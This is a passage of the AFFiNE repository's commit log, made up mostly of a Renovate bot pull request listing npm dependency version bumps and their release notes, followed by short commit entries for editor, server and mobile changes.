| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.6` -> `6.0.7`](https://renovatebot.com/diffs/npm/vite/6.0.6/6.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.6/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.6/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.99.0` -> `3.100.0`](https://renovatebot.com/diffs/npm/wrangler/3.99.0/3.100.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.99.0/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.99.0/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |

---

### Release Notes

<details>
<summary>apollographql/apollo-server (@&#8203;apollo/server)</summary>

### [`v4.11.3`](https://redirect.github.com/apollographql/apollo-server/blob/HEAD/packages/server/CHANGELOG.md#4113)

[Compare Source](https://redirect.github.com/apollographql/apollo-server/compare/@apollo/server@4.11.2...@apollo/server@4.11.3)

##### Patch Changes

-   [#&#8203;8010](https://redirect.github.com/apollographql/apollo-server/pull/8010) [`f4228e8`](f4228e8850) Thanks [@&#8203;glasser](https://redirect.github.com/glasser)! - Compatibility with Next.js Turbopack. Fixes [#&#8203;8004](https://redirect.github.com/apollographql/apollo-server/issues/8004).

</details>

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.723.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37230-2025-01-06)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.722.0...v3.723.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.722.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37220-2025-01-03)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.721.0...v3.722.0)

##### Features

-   **client-s3:** This change is only for updating the model regexp of CopySource which is not for validation but only for documentation and user guide change. ([3bb74c5](3bb74c5bd6))

### [`v3.721.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37210-2025-01-02)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.717.0...v3.721.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>floating-ui/floating-ui (@&#8203;floating-ui/dom)</summary>

### [`v1.6.13`](https://redirect.github.com/floating-ui/floating-ui/blob/HEAD/packages/dom/CHANGELOG.md#1613)

[Compare Source](https://redirect.github.com/floating-ui/floating-ui/compare/@floating-ui/dom@1.6.12...@floating-ui/dom@1.6.13)

##### Patch Changes

-   fix(autoUpdate): work around `IntersectionObserver` issue that sometimes fails to detect movement of reference element
-   Update dependencies: `@floating-ui/utils@0.2.9`

</details>

<details>
<summary>LottieFiles/dotlottie-web (@&#8203;lottiefiles/dotlottie-wc)</summary>

### [`v0.4.2`](https://redirect.github.com/LottieFiles/dotlottie-web/blob/HEAD/packages/wc/CHANGELOG.md#042)

[Compare Source](https://redirect.github.com/LottieFiles/dotlottie-web/compare/@lottiefiles/dotlottie-wc@0.4.1...@lottiefiles/dotlottie-wc@0.4.2)

##### Patch Changes

-   Updated dependencies \[[`8ef9888`](https://redirect.github.com/LottieFiles/dotlottie-web/commit/8ef9888)]
-   Updated dependencies \[[`1ee4ce9`](https://redirect.github.com/LottieFiles/dotlottie-web/commit/1ee4ce9)]
    -   [@&#8203;lottiefiles/dotlottie-web](https://redirect.github.com/lottiefiles/dotlottie-web)[@&#8203;0](https://redirect.github.com/0).39.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/host-metrics)</summary>

### [`v0.35.5`](2512c78761...d4d3c4f14f)

[Compare Source](2512c78761...d4d3c4f14f)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.48.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.48.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.47.0...8.48.0)

##### Deprecations

-   **feat(v8/core): Deprecate `getDomElement` method ([#&#8203;14799](https://redirect.github.com/getsentry/sentry-javascript/pull/14799))**

    Deprecates `getDomElement`. There is no replacement.

##### Other changes

-   fix(nestjs/v8): Use correct main/module path in package.json ([#&#8203;14791](https://redirect.github.com/getsentry/sentry-javascript/pull/14791))
-   fix(v8/core): Use consistent `continueTrace` implementation in core ([#&#8203;14819](https://redirect.github.com/getsentry/sentry-javascript/pull/14819))
-   fix(v8/node): Correctly resolve debug IDs for ANR events with custom appRoot ([#&#8203;14823](https://redirect.github.com/getsentry/sentry-javascript/pull/14823))
-   fix(v8/node): Ensure `NODE_OPTIONS` is not passed to worker threads ([#&#8203;14825](https://redirect.github.com/getsentry/sentry-javascript/pull/14825))
-   fix(v8/angular): Fall back to element `tagName` when name is not provided to `TraceDirective` ([#&#8203;14828](https://redirect.github.com/getsentry/sentry-javascript/pull/14828))
-   fix(aws-lambda): Remove version suffix from lambda layer ([#&#8203;14843](https://redirect.github.com/getsentry/sentry-javascript/pull/14843))
-   fix(v8/node): Ensure express requests are properly handled ([#&#8203;14851](https://redirect.github.com/getsentry/sentry-javascript/pull/14851))
-   feat(v8/node): Add `openTelemetrySpanProcessors` option ([#&#8203;14853](https://redirect.github.com/getsentry/sentry-javascript/pull/14853))
-   fix(v8/react): Use `Set` as the `allRoutes` container. ([#&#8203;14878](https://redirect.github.com/getsentry/sentry-javascript/pull/14878)) ([#&#8203;14884](https://redirect.github.com/getsentry/sentry-javascript/issues/14884))
-   fix(v8/react): Improve handling of routes nested under path="/" ([#&#8203;14897](https://redirect.github.com/getsentry/sentry-javascript/pull/14897))
-   feat(v8/core): Add `normalizedRequest` to `samplingContext` ([#&#8203;14903](https://redirect.github.com/getsentry/sentry-javascript/pull/14903))
-   fix(v8/feedback): Avoid lazy loading code for `syncFeedbackIntegration` ([#&#8203;14918](https://redirect.github.com/getsentry/sentry-javascript/pull/14918))

Work in this release was contributed by [@&#8203;arturovt](https://redirect.github.com/arturovt). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.09 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.48 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.4 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.34 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.96 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.66 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.56 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.69 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.75 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.11 KB  |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.5 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.6 KB  |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.36 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.8 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.94 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.63 KB |

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.13`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.13): 1.0.13 (2025-01-05)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.12...v1.0.13)

no-ignore-replay-buffer now considers a config with no bufferSize an ignored replay buffer.

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.6`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1106---2025-01-07)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.4...v1.10.6)

##### Performance

-   **(es/minifier)** Speed up `merge_sequences_in_exprs` by caching computation ([#&#8203;9843](https://redirect.github.com/swc-project/swc/issues/9843)) ([6e5632f](6e5632fa41))

</details>

<details>
<summary>zloirock/core-js (core-js)</summary>

### [`v3.40.0`](https://redirect.github.com/zloirock/core-js/blob/HEAD/CHANGELOG.md#3400---20250108)

[Compare Source](https://redirect.github.com/zloirock/core-js/compare/v3.39.0...v3.40.0)

-   Changes [v3.39.0...v3.40.0](https://redirect.github.com/zloirock/core-js/compare/v3.39.0...v3.40.0) (130 commits)
-   Added [`Error.isError` stage 3 proposal](https://redirect.github.com/tc39/proposal-is-error):
    -   Added built-ins:
        -   `Error.isError`
    -   We have no bulletproof way to polyfill this method / check if the object is an error, so it's an enough naive implementation that is marked as `.sham`
-   [Explicit Resource Management stage 3 proposal](https://redirect.github.com/tc39/proposal-explicit-resource-management):
    -   Updated the way async disposing of only sync disposable resources, [tc39/proposal-explicit-resource-management/218](https://redirect.github.com/tc39/proposal-explicit-resource-management/pull/218)
-   [`Iterator` sequencing stage 2.7 proposal](https://redirect.github.com/tc39/proposal-iterator-sequencing):
    -   Reuse `IteratorResult` objects when possible, [tc39/proposal-iterator-sequencing/17](https://redirect.github.com/tc39/proposal-iterator-sequencing/issues/17), [tc39/proposal-iterator-sequencing/18](https://redirect.github.com/tc39/proposal-iterator-sequencing/pull/18), December 2024 TC39 meeting
-   Added a fix of [V8 < 12.8](https://issues.chromium.org/issues/351332634) / [NodeJS < 22.10](https://redirect.github.com/nodejs/node/pull/54883) bug with handling infinite length of set-like objects in `Set` methods
-   Optimized `DataView.prototype.{ getFloat16, setFloat16 }` performance, [#&#8203;1379](https://redirect.github.com/zloirock/core-js/pull/1379), thanks [**@&#8203;LeviPesin**](https://redirect.github.com/LeviPesin)
-   Dropped unneeded feature detection of non-standard `%TypedArray%.prototype.toSpliced`
-   Dropped possible re-usage of some non-standard / early stage features (like `Math.scale`) available on global
-   Some other minor improvements
-   Compat data improvements:
    -   [`RegExp.escape`](https://redirect.github.com/tc39/proposal-regex-escaping) marked as shipped from Safari 18.2
    -   [`Promise.try`](https://redirect.github.com/tc39/proposal-promise-try) marked as shipped from Safari 18.2
    -   [`Math.f16round` and `DataView.prototype.{ getFloat16, setFloat16 }`](https://redirect.github.com/tc39/proposal-float16array) marked as shipped from Safari 18.2
    -   [`Uint8Array` to / from base64 and hex proposal](https://redirect.github.com/tc39/proposal-arraybuffer-base64) methods marked as shipped from Safari 18.2
    -   [`JSON.parse` source text access proposal](https://redirect.github.com/tc39/proposal-json-parse-with-source) features marked as [shipped from FF135](https://bugzilla.mozilla.org/show_bug.cgi?id=1934622)
    -   [`RegExp.escape`](https://redirect.github.com/tc39/proposal-regex-escaping) marked as shipped [from FF134](https://bugzilla.mozilla.org/show_bug.cgi?id=1918235)
    -   [`Promise.try`](https://redirect.github.com/tc39/proposal-promise-try) marked as shipped from FF134
    -   [`Symbol.dispose`, `Symbol.asyncDispose` and `Iterator.prototype[@&#8203;@&#8203;dispose]`](https://redirect.github.com/tc39/proposal-explicit-resource-management) marked as shipped from FF135
    -   [`JSON.parse` source text access proposal](https://redirect.github.com/tc39/proposal-json-parse-with-source) features marked as shipped from Bun 1.1.43
    -   Fixed NodeJS version where `URL.parse` was added - 22.1 instead of 22.0
    -   Added [Deno 2.1](https://redirect.github.com/denoland/deno/releases/tag/v2.1.0) compat data mapping
    -   Added [Rhino 1.8.0](https://redirect.github.com/mozilla/rhino/releases/tag/Rhino1\_8\_0\_Release) compat data with significant number of modern features
    -   Added Electron 35 compat data mapping
    -   Updated Opera 115+ compat data mapping
    -   Added Opera Android [86](https://forums.opera.com/topic/75006/opera-for-android-86) and 87 compat data mapping

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v33.3.1`](https://redirect.github.com/electron/electron/releases/tag/v33.3.1): electron v33.3.1

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.3.0...v33.3.1)

### Release Notes for v33.3.1

#### Fixes

-   Fixed `chrome.i18n` extension API being unavailable in service workers. [#&#8203;45037](https://redirect.github.com/electron/electron/pull/45037) <span style="font-size:small;">(Also in [31](https://redirect.github.com/electron/electron/pull/45035), [32](https://redirect.github.com/electron/electron/pull/45038), [34](https://redirect.github.com/electron/electron/pull/45036))</span>
-   Fixed build failure when the PDF viewer is disabled. [#&#8203;44965](https://redirect.github.com/electron/electron/pull/44965) <span style="font-size:small;">(Also in [34](https://redirect.github.com/electron/electron/pull/44964))</span>
-   Fixed custom spell checker getting stuck in infinite loop using 100% CPU. [#&#8203;45021](https://redirect.github.com/electron/electron/pull/45021) <span style="font-size:small;">(Also in [31](https://redirect.github.com/electron/electron/pull/45022), [32](https://redirect.github.com/electron/electron/pull/45019), [34](https://redirect.github.com/electron/electron/pull/45020))</span>
-   Fixed issue with missing index arg for `webContents.canGoToOffset`. [#&#8203;45006](https://redirect.github.com/electron/electron/pull/45006) <span style="font-size:small;">(Also in [32](https://redirect.github.com/electron/electron/pull/45007), [34](https://redirect.github.com/electron/electron/pull/45008))</span>

#### Other Changes

-   Updated Chromium to 130.0.6723.170. [#&#8203;45061](https://redirect.github.com/electron/electron/pull/45061)

</details>

<details>
<summary>davidjerleke/embla-carousel (embla-carousel-react)</summary>

### [`v8.5.2`](https://redirect.github.com/davidjerleke/embla-carousel/releases/tag/v8.5.2)

[Compare Source](https://redirect.github.com/davidjerleke/embla-carousel/compare/v8.5.1...v8.5.2)

##### Support

Embla Carousel is an open source MIT licensed project. If you are interested in **supporting this project** you can sponsor it here:

-   [**`💖 Sponsor`**](https://redirect.github.com/sponsors/davidjerleke)

##### What's Changed

-   \[Bug]: Offset by 1 issue for canScrollNext when tab size has fractional width by [@&#8203;yasuhiro-yamamoto](https://redirect.github.com/yasuhiro-yamamoto) in [https://github.com/davidjerleke/embla-carousel/pull/1096](https://redirect.github.com/davidjerleke/embla-carousel/pull/1096)
-   \[Bug]: Autoplay never starts if page with carousel is loaded in inactive browser tab by [@&#8203;davidjerleke](https://redirect.github.com/davidjerleke) in [https://github.com/davidjerleke/embla-carousel/pull/1101](https://redirect.github.com/davidjerleke/embla-carousel/pull/1101)

##### New Contributors

-   [@&#8203;yasuhiro-yamamoto](https://redirect.github.com/yasuhiro-yamamoto) made their first contribution in [https://github.com/davidjerleke/embla-carousel/pull/1096](https://redirect.github.com/davidjerleke/embla-carousel/pull/1096)

**Full Changelog**: https://github.com/davidjerleke/embla-carousel/compare/v8.5.1...v8.5.2

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.5.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.1...v16.5.2)

##### 👷‍♂️ Patch fixes

-   `Event.target` should be the target element after an event has been dispatched - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1529](https://redirect.github.com/capricorn86/happy-dom/issues/1529)

### [`v16.5.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.0...f79188a14025faf14bbe375827c1274f93767db4)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.0...v16.5.1)

### [`v16.5.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.3...v16.5.0)

##### 🎨 Features

-   Adds property `GlobalRegistrator.isRegistered` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1670](https://redirect.github.com/capricorn86/happy-dom/issues/1670)

### [`v16.4.3`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.2...a68a9cc21f6a22cbc11b116004c7f5e01b8d0dba)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.2...v16.4.3)

### [`v16.4.2`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.1...v16.4.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.1...v16.4.2)

### [`v16.4.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.4.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.0...v16.4.1)

##### 👷‍♂️ Patch fixes

-   Fixes issue where HTML assigned to `document.documentElement.innerHTML` isnt parsed correctly since v16 - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1663](https://redirect.github.com/capricorn86/happy-dom/issues/1663)

### [`v16.4.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.4.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.3.0...v16.4.0)

##### 🎨 Features

-   Allow fetch to be intercepted and modified by sending in an interceptor as a setting - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1502](https://redirect.github.com/capricorn86/happy-dom/issues/1502)
    -   Read more about this in the Wiki at [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings/)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.1`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#911-2025-01-05)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.0...v9.1.1)

##### Bug Fixes

-   **vitest:** fix `require is not defined` in vitest ([6a42bb1](6a42bb1ce3)), closes [#&#8203;276](https://gitlab.com/html-validate/html-validate/issues/276)

</details>

<details>
<summary>i18next/i18next (i18next)</summary>

### [`v24.2.1`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#2421)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v24.2.0...v24.2.1)

-   Standardize null/undefined checks across codebase [2275](https://redirect.github.com/i18next/i18next/pull/2275)
-   fix(typescript): make TFunction augmentable again [2279](https://redirect.github.com/i18next/i18next/pull/2279), fixes [2278](https://redirect.github.com/i18next/i18next/issues/2278)

</details>

<details>
<summary>guilhermerodz/input-otp (input-otp)</summary>

### [`v1.4.2`](https://redirect.github.com/guilhermerodz/input-otp/blob/HEAD/CHANGELOG.md#142)

[Compare Source](3632450db6...81ccdb48c0)

-   chore(input): remove unintentional log within internal pasteListener

</details>

<details>
<summary>ospfranco/link-preview-js (link-preview-js)</summary>

### [`v3.0.13`](https://redirect.github.com/OP-Engineering/link-preview-js/releases/tag/3.0.13)

[Compare Source](https://redirect.github.com/ospfranco/link-preview-js/compare/3.0.12...3.0.13)

#### What's Changed

-   fallback to abort-controller polyfill by [@&#8203;Birowsky](https://redirect.github.com/Birowsky) in [https://github.com/OP-Engineering/link-preview-js/pull/162](https://redirect.github.com/OP-Engineering/link-preview-js/pull/162)
-   Bump cross-spawn from 7.0.3 to 7.0.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/OP-Engineering/link-preview-js/pull/158](https://redirect.github.com/OP-Engineering/link-preview-js/pull/158)

#### New Contributors

-   [@&#8203;Birowsky](https://redirect.github.com/Birowsky) made their first contribution in [https://github.com/OP-Engineering/link-preview-js/pull/162](https://redirect.github.com/OP-Engineering/link-preview-js/pull/162)

**Full Changelog**: https://github.com/OP-Engineering/link-preview-js/compare/3.0.12...3.0.13

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.6`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.6)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.5...v15.0.6)

##### Bug Fixes

-   fix strikethrough inside strong and em to follow gfm ([#&#8203;3577](https://redirect.github.com/markedjs/marked/issues/3577)) ([7712a53](7712a5324f))

### [`v15.0.5`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.5)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.4...v15.0.5)

##### Bug Fixes

-   allow strikethrough inside strong and em to follow gfm ([#&#8203;3569](https://redirect.github.com/markedjs/marked/issues/3569)) ([8a01658](8a01658cac))

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.26`](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.26)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.25...napi@3.0.0-alpha.26)

### [`v3.0.0-alpha.25`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.25)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.24...napi@3.0.0-alpha.25)

#### What's Changed

-   perf(napi): JsStringUtf8 take & into_owned & as_str fn by [@&#8203;SyMind](https://redirect.github.com/SyMind) in [https://github.com/napi-rs/napi-rs/pull/2404](https://redirect.github.com/napi-rs/napi-rs/pull/2404)
-   refactor!(napi): arguments tuple behavior by [@&#8203;adespawn](https://redirect.github.com/adespawn) in [https://github.com/napi-rs/napi-rs/pull/2401](https://redirect.github.com/napi-rs/napi-rs/pull/2401)
-   fix(napi): Function call with empty tuple should generate empty arguments by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2407](https://redirect.github.com/napi-rs/napi-rs/pull/2407)
-   feat(napi): add get and try_get for FunctionCallContext by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2409](https://redirect.github.com/napi-rs/napi-rs/pull/2409)
-   feat(napi): impl ReadableStream and AsyncGenerator by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2418](https://redirect.github.com/napi-rs/napi-rs/pull/2418)

#### New Contributors

-   [@&#8203;ganthern](https://redirect.github.com/ganthern) made their first contribution in [https://github.com/napi-rs/napi-rs/pull/2402](https://redirect.github.com/napi-rs/napi-rs/pull/2402)
-   [@&#8203;lghuahua](https://redirect.github.com/lghuahua) made their first contribution in [https://github.com/napi-rs/napi-rs/pull/2416](https://redirect.github.com/napi-rs/napi-rs/pull/2416)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.23...napi@3.0.0-alpha.25

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.77.4`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4774-2025-01-08)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.3...v4.77.4)

Full Changelog: [v4.77.3...v4.77.4](https://redirect.github.com/openai/openai-node/compare/v4.77.3...v4.77.4)

##### Documentation

-   **readme:** fix misplaced period ([#&#8203;1252](https://redirect.github.com/openai/openai-node/issues/1252)) ([c2fe465](c2fe46522d))

### [`v4.77.3`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4773-2025-01-03)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.0...v4.77.3)

Full Changelog: [v4.77.2...v4.77.3](https://redirect.github.com/openai/openai-node/compare/v4.77.2...v4.77.3)

##### Chores

-   **api:** bump spec version ([#&#8203;1248](https://redirect.github.com/openai/openai-node/issues/1248)) ([37b3df9](37b3df9ac6))

</details>

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.135`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.135)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.134...v1.0.135)

-   Add serde_json::Map::into_values method ([#&#8203;1226](https://redirect.github.com/serde-rs/json/issues/1226), thanks [@&#8203;tisonkun](https://redirect.github.com/tisonkun))

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.26.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.26.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.26.0...v1.26.1)

#####    🐞 Bug Fixes

-   **shiki**: Missing language alias file, fix [#&#8203;883](https://redirect.github.com/shikijs/shiki/issues/883)  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/883](https://redirect.github.com/shikijs/shiki/issues/883) [<samp>(5766b)</

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-09 01:09:08 +00:00
Saul-Mirone
3683297ccf feat(editor): add feature flag service (#9592) 2025-01-08 15:46:31 +00:00
Brooooooklyn
fd26b72255 fix(server): disable winston in seflhost instance (#9585) 2025-01-08 14:47:42 +00:00
Saul-Mirone
5842d45ab1 feat(editor): merge store and blocks (#9591) 2025-01-08 13:01:19 +00:00
L-Sun
a0cba55a5b feat(mobile): mobile toc menu (#9582)
Close [BS-1787](https://linear.app/affine-design/issue/BS-1787/toc-移动端适配)
2025-01-08 08:03:11 +00:00
Saul-Mirone
fe727412be feat(editor): add editor store (#9584) 2025-01-08 07:47:43 +00:00
forehalo
0554df6bc2 fix(electron): filename escape (#9583) 2025-01-08 07:31:09 +00:00
pengx17
a4841bbfa3 feat(core): drop doc onto split view (#9487)
fix AF-2068, AF-2069, AF-1175, AF-2061, AF-2079, AF-2034, AF-2080, AF-1960, AF-2081

1. replace `dnd-kit` with `@atlaskit/pragmatic-drag-and-drop`
2. allow creating split views by drag & drop the following
   a. WorkbenchLinks (route links), like journals, trash, all docs
   b. doc refs
   c. tags/collection
3. style adjustments to split view
4. remove split view's feature flag and make it GA for electron

https://github.com/user-attachments/assets/6a3e4a25-faa2-4215-8eb0-983f44db6e8c
2025-01-08 05:05:33 +00:00
forehalo
c0ed74dfed chore: standardize tsconfig (#9568) 2025-01-08 04:07:56 +00:00
Brooooooklyn
39f4b17315 ci: fix android release pipeline (#9574) 2025-01-07 12:46:02 +00:00
fourdim
ebaceb481d fix(editor): enumerate ancestors (#9540) 2025-01-07 11:40:10 +00:00
L-Sun
440239809c refactor(editor): refactor page note empty checker (#9570)
Close [BS-2320](https://linear.app/affine-design/issue/BS-2320/内容为空的状态判断)
2025-01-07 11:24:40 +00:00
Brooooooklyn
482b534a90 chore(server): setup winston logger (#9561)
There is no impact on the existing logger, as the current logger is used with `new Logger(Context)` and does not utilize dependency injection. In the next phase, gradually replace and supplement the existing `Logger`.
2025-01-07 09:15:08 +00:00
Saul-Mirone
5e51018c03 fix(editor): remove ts ignore (#9567) 2025-01-07 08:48:05 +00:00
